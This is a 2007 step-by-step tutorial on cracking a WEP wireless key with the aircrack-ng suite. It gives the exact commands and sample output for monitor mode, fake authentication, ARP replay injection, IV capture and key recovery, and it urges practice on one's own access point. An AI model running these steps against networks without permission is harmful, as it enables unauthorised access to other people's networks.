Simple WEP Crack

Tutorial: Simple WEP Crack

Version: 1.02 April 2, 2007
By: darkAudax

Introduction

This tutorial walks you though a very simple case to crack a WEP key. It is intended to build your basic skills and get you familiar with the concepts. It assumes you have a working wireless card with drivers already patched for injection.

For a start to finish newbie guide, see the Linux Newbie Guide. Although this tutorial does not cover all the steps, it does attempt to provide much more detailed examples of the steps to actually crack a WEP key plus explain the reason and background of each step. For more information on installing aircrck-ng, see Installing Aircrack-ng and for installing drivers see Installing Drivers.
It is recommended that you experiment with your home wireless access point to get familiar with these ideas and techniques. If you do not own a particular access point, please remember to get permission from the owner prior to playing with it.

I would like to acknowledge and thank the Aircrack-ng team for producing such a great robust tool.

Please send me any constructive feedback, positive or negative. Additional troubleshooting ideas and tips are especially welcome.

Assumptions

First, this solution assumes:

  • You are using drivers patched for injection. You can sniff the packets with Wireshark to confirm you are in fact injecting.
  • You are physically close enough to send and receive access point packets. Remember that just because you can receive packets from the access point does not mean you may will be able to transmit packets to the AP. The wireless card strength is typically less then the AP strength. So you have to be physically close enough for your transmitted packets to reach and be received by the AP.
  • You are using v0.7 of aircrack-ng. If you use a different version then some of the comman options may have to be changed.

Ensure all of the above assumptions are true, otherwise the advice that follows will not work. In the examples below, you will need to change “ath0” to the interface name which is specific to your wireless card.

In the examples, the option “double dash bssid” is shown as “- -bssid”. Remember to remove the space between the two dashes when using it in real life. This also applies to “- -ivs”.

Equipment used

In this tutorial, here is what was used:

  • MAC address of PC running aircrack-ng suite: 00:0F:B5:88:AC:82
  • BSSID (MAC address of access point): 00:14:6C:7E:40:80
  • ESSID (Wireless network name): teddy
  • Access point channel: 9
  • Wireless interface: ath0

You should gather the equivalent information for the network you will be working on. Then just change the values in the examples below to the specific network.

Solution

Solution Overview

To crack the WEP key for an access point, we need to gather lots of initialization vectors (IVs). Normal network traffic does not typically generate these IVs very quickly. Theoretically, if you are patient, you can gather sufficient IVs to crack the WEP key by simply listening to the network traffic and saving them. Since none of us are patient, we use a technique called injection to speed up the process. Injection involves having the access point (AP) resend selected packets over and over very rapidly. This allows us to capture a large number of IVs in a short period of time.

Once we have captured a large number of IVs, we can use them to determine the WEP key.

Here are the basic steps we will be going through:

  1. Start the wireless interface in monitor mode on the specific AP channel
  2. Use aireplay-ng to do a fake authentication with the access point
  3. Start airodump-ng on AP channel with a bssid filter to collect the new unique IVs
  4. Start aireplay-ng in ARP request replay mode to inject packets
  5. Run aircrack-ng to crack key using the IVs collected

Step 1 - Start the wireless interface in monitor mode on AP channel

The purpose of this step is to put your card into what is called monitor mode. Monitor mode is mode whereby your card can listen to every packet in the air. Normally your card will only “hear” packets addressed to you. By hearing every packet, we can later select some for injection. As well, only (there are some rare exceptions) monitor mode allows you to inject packets.

First stop ath0 by entering:

airmon-ng stop ath0

The system responds:

Interface       Chipset         Driver

 wifi0           Atheros         madwifi-ng
 ath0            Atheros         madwifi-ng VAP (parent: wifi0) (VAP destroyed)

Enter “iwconfig” to ensure there are no other athX interfaces. It should look similar to this:

lo        no wireless extensions.

 eth0      no wireless extensions.

 wifi0     no wireless extensions.

If there are any remaining athX interfaces, then stop each one. When you are finished, run “iwconfig” to ensure there are none left.

Now, enter the following command to start the wireless card on channel 9 in monitor mode:

airmon-ng start wifi0 9

Note: In this command we use “wifi0” instead of our wireless interface of “ath0”. This is because the madwifi-ng drivers are being used.

The system will respond:

Interface       Chipset         Driver

 wifi0           Atheros         madwifi-ng
 ath0            Atheros         madwifi-ng VAP (parent: wifi0) (monitor mode enabled)

You will notice that “ath0” is reported above as being put into monitor mode.

Then enter “ifconfig ath0 up” to bring up ath0 to be used in later steps. This is only required when using madwifi-ng drivers.

To confirm the interface is properly setup, enter “iwconfig”.

The system will respond:

lo        no wireless extensions.

 wifi0     no wireless extensions.

 eth0      no wireless extensions.

 ath0      IEEE 802.11g  ESSID:""  Nickname:""
        Mode:Monitor  Frequency:2.452 GHz  Access Point: 00:0F:B5:88:AC:82   
        Bit Rate:0 kb/s   Tx-Power:18 dBm   Sensitivity=0/3  
        Retry:off   RTS thr:off   Fragment thr:off
        Encryption key:off
        Power Management:off
        Link Quality=0/94  Signal level=-95 dBm  Noise level=-95 dBm
        Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
        Tx excessive retries:0  Invalid misc:0   Missed beacon:0

In the response above, you can see that ath0 is in monitor mode, on the 2.452GHz frequency which is channel 9 and the Access Point shows the MAC address of your wireless card. So everything is good. It is important to confirm all this information prior to proceeding, otherwise the following steps will not work properly.

To match the frequency to the channel, check out: http://www.rflinx.com/help/calculations/#2.4ghz_wifi_channels then select the “Wifi Channel Selection and Channel Overlap” tab. This will give you the frequency for each channel.

Step 2 - Use aireplay-ng to do a fake authentication with the access point

In order for an access point to accept a packet, the source MAC address must already be associated. If the source MAC address you are injecting is not associated then the AP ignores the packet and sends out a “DeAuthentication” packet. In this state, no new IVs are created because the AP is ignoring all the injected packets.

The lack of association with the access point is the single biggest reason why injection fails.

To associate with an access point, use fake authentication:

[[code]]
aireplay-ng -1 0 -e teddy -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0
[[/code]]

Where:

  • -1 means fake authentication
  • 0 reassociation timing in seconds
  • -e teddy is the wireless network name
  • -a 00:14:6C:7E:40:80 is the access point MAC address
  • -h 00:0F:B5:88:AC:82 is our card MAC addresss
  • ath0 is the wireless interface name

Success looks like:

18:18:20  Sending Authentication Request
18:18:20  Authentication successful
18:18:20  Sending Association Request
18:18:20  Association successful :-)

Or another variation for picky access points:

aireplay-ng -1 6000 -o 1 -q 10 -e teddy -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0

Where:

  • 6000 - Reauthenticate very 6000 seconds. The long period also causes keep alive packets to be sent.
  • -o 1 - Send only one set of packets at a time. Default is multiple and this confuses some APs.
  • -q 10 - Send keep alive packets every 10 seconds.

Success looks like:

18:22:32  Sending Authentication Request
18:22:32  Authentication successful
18:22:32  Sending Association Request
18:22:32  Association successful :-)
18:22:42  Sending keep-alive packet
18:22:52  Sending keep-alive packet
# and so on.

Here is an example of what a failed authentication looks like:

8:28:02  Sending Authentication Request
18:28:02  Authentication successful
18:28:02  Sending Association Request
18:28:02  Association successful :-)
18:28:02  Got a deauthentication packet!
18:28:05  Sending Authentication Request
18:28:05  Authentication successful
18:28:05  Sending Association Request
18:28:10  Sending Authentication Request
18:28:10  Authentication successful
18:28:10  Sending Association Request

Notice the “Got a deauthentication packet” and the continuous retries above. Do not proceed to the next step until you have the fake authentication running correctly.

Troubleshooting Tips

  • Some access points are configure to only allow selected MAC addresses to associate and connect. If this is the case, you will not be able to successfully do fake authentication unless you know one of the MAC addresses on the allowed list.
  • If at any time you wish to confirm you are properly associated is to use tcpdump and look at the packets. Start another session and…
Run: “tcpdump -n -e -s0 -vvv -i ath0”

Here is a typical tcpdump error message you are looking for:

11:04:34.360700 314us BSSID:00:14:6c:7e:40:80 DA:00:0F:B5:88:AC:82 SA:00:14:6c:7e:40:80   DeAuthentication: Class 3 frame received from nonassociated station

Notice that the access point (00:14:6c:7e:40:80) is telling the source (00:0F:B5:88:AC:82) you are not associated. Meaning, the AP will not process or accept the injected packets.

If you want to select only the DeAuth packets with tcpdump then you can use: “tcpdump -n -e -s0 -vvv -i ath0 | grep DeAuth”. You may need to tweak the phrase “DeAuth” to pick out the exact packets you want.

Step 3 - Start airodump-ng to capture the IVs

The purpose of this step is to capture the IVs generated. This step starts airodump-ng to capture the IVs from the specific access point.

Open another console session to capture the generated IVs. Then enter:

airodump-ng -c 9 - -bssid 00:14:6C:7E:40:80 - -ivs -w output ath0

Where:

  • -c 9 is the channel for the wireless network
  • - -bssid 00:14:6C:7E:40:80 is the access point MAC address. This eliminate extraneous traffic.
  • - -ivs specfifies that you only want to capture the IVs. This keeps the file as small as possible.
  • -w capture is file name prefix for the file which will contain the IVs.
  • ath0 is the interface name.

While the injection is taking place (later), the screen will look similar to this:

CH  9 ][ Elapsed: 8 mins ][ 2007-03-21 19:25 

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID

 00:14:6C:7E:40:80   42 100     5240   178307  338   9  54  WEP  WEP         teddy                           

 BSSID              STATION            PWR  Lost  Packets  Probes                                             

 00:14:6C:7E:40:80  00:0F:B5:88:AC:82   42     0   183782

Step 4 - Start aireplay-ng in ARP request replay mode

The purpose of this step is to start aireplay-ng in a mode which listens for ARP requests then reinjects them back into the network. For an explaination of ARP, see this PC Magazine page or Wikipedia. The reason we select ARP request packets is because the AP will normally rebroadcast them and generate a new IV. Again, this is our objective, to obtain a large number of IVs in a short period of time.

Open another console session and enter:

aireplay-ng -3 -b 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0

It will start listening for ARP requests and when it hears one, aireplay-ng will immediately start to inject it. On your home network, here is an easy way to generate an ARP request: On a wired PC, ping a non-existant IP on your home LAN.

Here is what the screen looks like when ARP requests are being injected:

[[code]]
Saving ARP requests in replay_arp-0321-191525.cap
You should also start airodump-ng to capture replies.
Read 629399 packets (got 316283 ARP requests), sent 210955 packets…
[[/code]]

You can confirm that you are injecting by checking your airodump-ng screen. The data packets should be increasing rapidly. The “#/s” should be a decent number. However, decent depends on a large variety of factors. A typical range is 300 to 400 data packets per second. It can as low as a 100/second and as high as a 1000/second.

Step 5 - Run aircrack-ng to obtain the WEP key

The purpose of this step is to obtain the WEP key from the IVs gathered in the previous steps.

Note: For learning purposes, you should use a 64 bit WEP key on your AP to speed up the cracking process. If this is the case, then you can include “-n 64” to limit the checking of keys to 64 bits.

Start another console session and enter:

aircrack-ng -b 00:14:6C:7E:40:80 output*.ivs

Where:

*
-b 00:14:6C:7E:40:80 selects the one access point we are interested in. This is optional since when we originally captured the data, we applied a filter to only capture data for this one AP.
*
output*.ivs selects all files starting with “output” and ending in “.ivs”.

You can run this while generating packets. In a short time, the WEP key will be calculated and presented. You will need approximately 250,000 IVs for 64 bit and 1,500,000 IVs for 128bit keys. These are very approximate and there are many variables as to how many IVs you actually need to crack the WEP key.

Here is what success looks like:

Aircrack-ng 0.7 r207

                              [00:03:06] Tested 674449 keys (got 96610 IVs)

 KB    depth   byte(vote)
  0    0/  9   12(  15) F9(  15) 47(  12) F7(  12) FE(  12) 1B(   5) 77(   5) A5(   3) F6(   3) 03(   0) 
  1    0/  8   34(  61) E8(  27) E0(  24) 06(  18) 3B(  16) 4E(  15) E1(  15) 2D(  13) 89(  12) E4(  12) 
  2    0/  2   56(  87) A6(  63) 15(  17) 02(  15) 6B(  15) E0(  15) AB(  13) 0E(  10) 17(  10) 27(  10) 
  3    1/  5   78(  43) 1A(  20) 9B(  20) 4B(  17) 4A(  16) 2B(  15) 4D(  15) 58(  15) 6A(  15) 7C(  15) 

                       KEY FOUND! [ 12:34:56:78:90 ] 
      Probability: 100%

Notice that in this case it took far less then the estimated 250,000 IVs to crack the key.

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